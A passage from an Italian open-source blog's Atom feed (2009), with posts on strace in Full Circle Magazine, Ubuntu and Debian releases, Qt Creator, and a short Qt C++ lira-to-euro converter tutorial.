Magazine issue 22 e strumenti per la programmazione in C</title><content type='html'>Preso dal lavoro e dallo studio mi sono dimenticato, si lo ammetto, di scaricare il numero 22 di Full Circle Magazine (così ora ne avrò due da leggere visto che oggi è uscito anche il numero 23).&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://dl.fullcirclemagazine.org/issue22_en_cover.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 327px; height: 231px;" src="http://dl.fullcirclemagazine.org/issue22_en_cover.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ma la notizia vera e propria è che nel numero 22 c'è un articolo molto interessante.&lt;br /&gt;&lt;br /&gt;Elie De Brauwer nella oramai consolidata sezione "Program in C" parla di uno strumento molto comodo per la programmazione in C: &lt;span style="font-weight: bold;"&gt;strace&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;strace è un programma che intercetta le chiamate di sistema fatte dal processo. Uno strumento molto importante per tenere il controllo della sequenza logica che segue il programma.&lt;br /&gt;&lt;br /&gt;Vi consiglio quindi di scaricare il numero 22 da &lt;a href="http://fullcirclemagazine.org/2009/02/28/heres-issue-22/"&gt;questo link&lt;/a&gt; e già che ci siete anche il numero 23.&lt;br /&gt;&lt;br /&gt;Buona lettura a tutti :D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-6113182331348197374?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/6113182331348197374/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=6113182331348197374' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/6113182331348197374'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/6113182331348197374'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/03/full-circle-magazine-issue-22-e.html' title='Full Circle Magazine issue 22 e strumenti per la programmazione in C'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-895588266031602611</id><published>2009-03-28T10:19:00.003+01:00</published><updated>2009-03-28T10:47:59.276+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Venditori Ubuntu</title><content type='html'>Sono un accanito lettore della &lt;a href="http://wiki.ubuntu-it.org/NewsletterItaliana"&gt;newsletter italiana&lt;/a&gt;  di Gnu/Linux Ubuntu.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://wiki.ubuntu-it.org/NewsletterItaliana/Materiale?action=AttachFile&amp;do=get&amp;target=logo-newsletter.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 358px; height: 109px;" src="http://wiki.ubuntu-it.org/NewsletterItaliana/Materiale?action=AttachFile&amp;do=get&amp;target=logo-newsletter.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Nel numero 12 della newsletter, raggiungibile a &lt;a href="http://wiki.ubuntu-it.org/NewsletterItaliana/2009.012"&gt;questo indirizzo&lt;/a&gt;, mi ha colpito una notizia in particolare:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;Avviato il Progetto Venditori Ubuntu&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;L'idea è quella di creare una &lt;a href="http://wiki.ubuntu-it.org/GruppoPromozione/VenditoriUbuntu"&gt;lista&lt;/a&gt; dei produttori e rivenditori di pc con sopra installato Ubuntu.&lt;br /&gt;&lt;br /&gt;Un progetto veramente interessante che offre un servizio comodo per chi vuole comperare un cd e vuole essere libero di scegliere Gnu/Linux come sistema operativo del proprio computer.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-895588266031602611?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/895588266031602611/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=895588266031602611' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/895588266031602611'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/895588266031602611'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/03/venditori-ubuntu.html' title='Venditori Ubuntu'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-3269347548453674080</id><published>2009-03-28T09:57:00.001+01:00</published><updated>2009-03-28T09:59:26.116+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux Ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Ubuntu 9.04 Countdown.</title><content type='html'>A fine aprile uscirà la nuova versione di Ubuntu: 9.04&lt;br /&gt;&lt;br /&gt;Come sempre ci prepariamo alla nuova uscita con il countdown sulla destra!!!&lt;br /&gt;&lt;br /&gt;Dai ragazzi che mancano solo 26 giorni!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-3269347548453674080?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/3269347548453674080/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=3269347548453674080' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/3269347548453674080'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/3269347548453674080'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/03/ubuntu-904-countdown.html' title='Ubuntu 9.04 Countdown.'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-7543752534925503534</id><published>2009-03-20T20:45:00.002+01:00</published><updated>2009-03-20T20:55:03.197+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Fun'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Riparmiate anche da Piccol</title><content type='html'>I Gialappi si sono inventati questo spot del fantasioso Piccol supermarket.&lt;br /&gt;&lt;br /&gt;Questa settimana solo a singapore:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_sXS0ScZT1Nw/ScPy5AOAX6I/AAAAAAAAAZA/ujymYN68LCQ/s1600-h/tastiera_per_pc.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 231px;" src="http://2.bp.blogspot.com/_sXS0ScZT1Nw/ScPy5AOAX6I/AAAAAAAAAZA/ujymYN68LCQ/s320/tastiera_per_pc.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5315359046352527266" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ma ricordiamo che solo con Windows questi tre tasti vengono veramente usati con una certa frequenza. Quindi con Gnu/Linux risparmiate anche questi 1 0 0 0 € ! ! !&lt;br /&gt;&lt;br /&gt;Gnu/Linux a 0 euro.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-7543752534925503534?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/7543752534925503534/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=7543752534925503534' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/7543752534925503534'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/7543752534925503534'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/03/riparmiate-anche-da-piccol.html' title='Riparmiate anche da Piccol'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_sXS0ScZT1Nw/ScPy5AOAX6I/AAAAAAAAAZA/ujymYN68LCQ/s72-c/tastiera_per_pc.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-3496233623734948258</id><published>2009-03-20T10:04:00.003+01:00</published><updated>2009-04-18T12:50:06.919+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='C/C++'/><title type='text'>C/C++ Lavorare con tipi generici</title><content type='html'>Ecco una lezione dell'università di Stanford che mi è piaciuta particolarmente per l'argomento trattato.&lt;br /&gt;&lt;br /&gt;Questa lezione insegnerà a scrivere una funzione di Swap che funziona con qualsiasi struttura dati passata alla funzione.&lt;br /&gt;&lt;br /&gt;Buona visione!!!&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/_eR4rxnM7Lc&amp;hl=it&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/_eR4rxnM7Lc&amp;hl=it&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-3496233623734948258?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/3496233623734948258/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=3496233623734948258' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/3496233623734948258'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/3496233623734948258'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/03/cc-lavorare-con-tipi-generici.html' title='C/C++ Lavorare con tipi generici'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-6621346837135433950</id><published>2009-03-14T10:54:00.013+01:00</published><updated>2009-04-18T12:50:43.462+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ide'/><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Qt'/><category scheme='http://www.blogger.com/atom/ns#' term='C/C++'/><title type='text'>Primo programma Qt - Convertitore</title><content type='html'>Avete scaricato Qt Creator di cui ho parlato nello scorso post?&lt;br /&gt;Se no, MOLTO MALE!!!! Correte a scaricarlo immediatamente.&lt;br /&gt;&lt;br /&gt;Se si, M O L T O    B E N E!&lt;br /&gt;Possiamo cominciare a vedere come funziona e come è facile creare programmini utili (o anche meno utili).&lt;br /&gt;&lt;br /&gt;Oggi proveremo a creare un convertitore lira-euro, oramai non più utile ma che può essere molto utile per imparare qualche nozione di base su librerie grafiche.&lt;br /&gt;&lt;br /&gt;Bene apriamo l'IDE e creaimo un nuovo progetto ( File-&gt;New-&gt;Qt4GuiApplication ) e chiamiamolo Convertitore e la classe di grafica MainWindow.&lt;br /&gt;&lt;br /&gt;Automaticamente il nostro IDE avrà creato 4 file come in questa figura:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_sXS0ScZT1Nw/SbuFzPPIz3I/AAAAAAAAAYg/vDm3RcIna_0/s1600-h/file_nel_progetto.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 171px; height: 90px;" src="http://2.bp.blogspot.com/_sXS0ScZT1Nw/SbuFzPPIz3I/AAAAAAAAAYg/vDm3RcIna_0/s320/file_nel_progetto.png" alt="" id="BLOGGER_PHOTO_ID_5312987300723478386" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ora creaimo i seguenti controlli:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;una label text con object name "valuta" e il testo (si cambia cliccandoci sopra due volte) "Lira";&lt;/li&gt;&lt;li&gt;un push button con object name "ok_bt" e il testo "Converti";&lt;/li&gt;&lt;li&gt;un line edit con object name "line" e nessun testo al suo interno.&lt;/li&gt;&lt;/ol&gt;Rinominiamo anche il testo della finestra in "Convertitore Lira-Euro".&lt;br /&gt;&lt;br /&gt;Otteniamo in questo modo una finestra che assomiglia a questa:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_sXS0ScZT1Nw/SbuHIyg-LUI/AAAAAAAAAYo/x8iT1KOx1oA/s1600-h/mainWindow.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 228px;" src="http://3.bp.blogspot.com/_sXS0ScZT1Nw/SbuHIyg-LUI/AAAAAAAAAYo/x8iT1KOx1oA/s320/mainWindow.png" alt="" id="BLOGGER_PHOTO_ID_5312988770482400578" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ora dobbiamo aggiungere la logica del programma all'interno dei file "mainwindow.h" e "mainwindow.cpp".&lt;br /&gt;&lt;br /&gt;Apriamo il file mainwindow.h e fra gli attributi pubblici e privati inseriamo le seguenti linee:&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;void on_ok_bt_clicked();&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;L'IDE automaticamente collegherà questa funzione alla pressione del tasto "Converti" dell'interfaccia, l'importante è che abbia lo stesso nome "void on_&lt;nome_button&gt;_clicked();"&lt;br /&gt;&lt;br /&gt;Ora scriviamo il corpo del metodo nel file C++:&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;void MainWindow::on_ok_bt_clicked()&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;    QString money = ui-&amp;gt;valuta-&amp;gt;text();&lt;br /&gt;&lt;br /&gt;    if(money == &amp;quot;Lira&amp;quot;)&lt;br /&gt;    {&lt;br /&gt;        //Convertiamo le lire in euro&lt;br /&gt;        QString line = ui-&amp;gt;line-&amp;gt;text();&lt;br /&gt;&lt;br /&gt;        float numero = line.toFloat();&lt;br /&gt;        numero = numero / 1936.27;&lt;br /&gt;&lt;br /&gt;        QString a = QString::number(numero);&lt;br /&gt;&lt;br /&gt;        ui-&amp;gt;line-&amp;gt;setText(a);&lt;br /&gt;        ui-&amp;gt;valuta-&amp;gt;setText(&amp;quot;Euro&amp;quot;);&lt;br /&gt;    }&lt;br /&gt;    else&lt;br /&gt;    {&lt;br /&gt;        //Convertiamo gli euro in lire&lt;br /&gt;        QString line = ui-&amp;gt;line-&amp;gt;text();&lt;br /&gt;&lt;br /&gt;        float numero = line.toFloat();&lt;br /&gt;        numero = numero * 1936.27;&lt;br /&gt;&lt;br /&gt;        QString a = QString::number(numero);&lt;br /&gt;&lt;br /&gt;        ui-&amp;gt;line-&amp;gt;setText(a);&lt;br /&gt;        ui-&amp;gt;valuta-&amp;gt;setText(&amp;quot;Lira&amp;quot;);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Dobbiamo per forza usare gli oggetti QString che ci mette a disposizione Qt per prendere i dati dai controlli e reinserire i risultati.&lt;br /&gt;&lt;br /&gt;Clicchiamo su &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_sXS0ScZT1Nw/SbuI6AEf-YI/AAAAAAAAAYw/c4ricdDnzYM/s1600-h/start.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 53px; height: 43px;" src="http://1.bp.blogspot.com/_sXS0ScZT1Nw/SbuI6AEf-YI/AAAAAAAAAYw/c4ricdDnzYM/s320/start.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5312990715446294914" /&gt;&lt;/a&gt; e "come per magia" comparirà il nostro convertitore in tutto il suo splendore:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_sXS0ScZT1Nw/SbuJgrodCDI/AAAAAAAAAY4/H_xBmO5fwlk/s1600-h/convertitore.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 254px;" src="http://1.bp.blogspot.com/_sXS0ScZT1Nw/SbuJgrodCDI/AAAAAAAAAY4/H_xBmO5fwlk/s320/convertitore.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5312991379974850610" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Questo è il punto di partenza per una marea di terre inseplorate. Diamo pure sfogo alla nostra fantasia.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-6621346837135433950?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/6621346837135433950/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=6621346837135433950' title='28 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/6621346837135433950'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/6621346837135433950'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/03/primo-programma-qt-convertitore.html' title='Primo programma Qt - Convertitore'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_sXS0ScZT1Nw/SbuFzPPIz3I/AAAAAAAAAYg/vDm3RcIna_0/s72-c/file_nel_progetto.png' height='72' width='72'/><thr:total>28</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-7218854072649624627</id><published>2009-03-05T18:49:00.005+01:00</published><updated>2009-04-18T12:51:11.869+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ide'/><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Qt'/><category scheme='http://www.blogger.com/atom/ns#' term='C/C++'/><title type='text'>Qt Creator released</title><content type='html'>In concomitanza con l'uscita delle qt 4.5 ecco un IDE veramente potente:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-size:180%;" &gt;Qt Creator&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm4.static.flickr.com/3041/2991778404_6604e81aa9.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 301px; height: 225px;" src="http://farm4.static.flickr.com/3041/2991778404_6604e81aa9.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;QtCreator permette di creare comodamente applicazioni grafiche basandosi sulle potenti librerie Qt, recentemente acquistate e rilasciate sotto licenza LGPL da Nokia.&lt;br /&gt;&lt;br /&gt;Ho provato questo ide e l'ho trovato molto comodo e semplice da usare. Permette di creare form con pochi click e ha un editor C++ molto avanzato che completa automaticamente il codice in modo intelligente.&lt;br /&gt;&lt;br /&gt;La news è riportata in questo link:&lt;br /&gt;&lt;a href="http://www.qtsoftware.com/about/news/nokia-releases-new-qt-developer-offerings-to-increase-productivity-and-performance"&gt;http://www.qtsoftware.com/about/news/nokia-releases-new-qt-developer-offerings-to-increase-productivity-and-performance&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Scaricate e provate con mano questo gioiellino!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-7218854072649624627?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/7218854072649624627/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=7218854072649624627' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/7218854072649624627'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/7218854072649624627'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/03/qt-creator-released.html' title='Qt Creator released'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm4.static.flickr.com/3041/2991778404_6604e81aa9_t.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-8581080102801589292</id><published>2009-02-15T12:06:00.003+01:00</published><updated>2009-02-15T12:12:02.607+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='GNU'/><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Debian'/><title type='text'>Rilasciata Debian 5.0</title><content type='html'>Gli sviluppatori di Debian vogliono augurare buon S. Valentino a tutti e lo fanno con una nuova release.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://debian.org/Pics/lennybanner_indexed.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 380px; height: 310px;" src="http://debian.org/Pics/lennybanner_indexed.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;blockquote&gt;14 Febbraio 2009&lt;br /&gt;&lt;br /&gt;Il Progetto Debian è lieto di annunciare il rilascio ufficiale di Debian GNU/Linux versione 5.0 (nome in codice "lenny"), dopo 22 mesi di sviluppo costante. Debian GNU/Linux è un sistema operativo libero che supporta un totale di dodici architetture di processori e include gli ambienti desktop KDE, GNOME, Xfce e LXDE...&lt;/blockquote&gt;&lt;br /&gt;questo è solo l'inizio dell'&lt;a href="http://debian.org/News/2009/20090214"&gt;articolo&lt;/a&gt; con il quale gli sviluppatori hanno annunciato la nuova release.&lt;br /&gt;&lt;br /&gt;Il mio pensiero va anche a&lt;br /&gt;&lt;blockquote&gt;Thiemo Seufer, uno sviluppatore Debian deceduto il 26 dicembre 2008 in un tragico incidente d'auto. Thiemo era coinvolto in Debian in molti modi: provvedeva alla manutenzione di numerosi pacchetti ed era il sostenitore principale del port di Debian verso le architetture MIPS. Era inoltre un membro del nostro gruppo del kernel, così come del gruppo dell'installatore Debian. I suoi contributi vanno oltre il progetto Debian: ha anche lavorato sul port MIPS del kernel di Linux, sull'emulazione MIPS di qemu e a molti altri progetti minori, troppi per essere menzionati qui.&lt;/blockquote&gt; come si può leggere nel solito &lt;a href="http://debian.org/News/2009/20090214"&gt;articolo&lt;/a&gt; alla voce "Dedica".&lt;br /&gt;&lt;br /&gt;Ora non ci resta che scaricarla e provare con mano le novità.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-8581080102801589292?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/8581080102801589292/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=8581080102801589292' title='2 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/8581080102801589292'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/8581080102801589292'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/02/rilasciata-debian-50.html' title='Rilasciata Debian 5.0'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-872512143658393948</id><published>2009-02-13T18:13:00.004+01:00</published><updated>2009-02-13T18:21:59.168+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Mozilla'/><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Bespin, qualcosa di nuovo sotto il sole.</title><content type='html'>Eccoci a presentare un nuovo tool di mamma Mozilla: Bespin!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://labs.mozilla.com/wp-content/themes/labs2009/gfx/icon_bespin_M.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 100px; height: 100px;" src="http://labs.mozilla.com/wp-content/themes/labs2009/gfx/icon_bespin_M.gif" alt="" border="0" 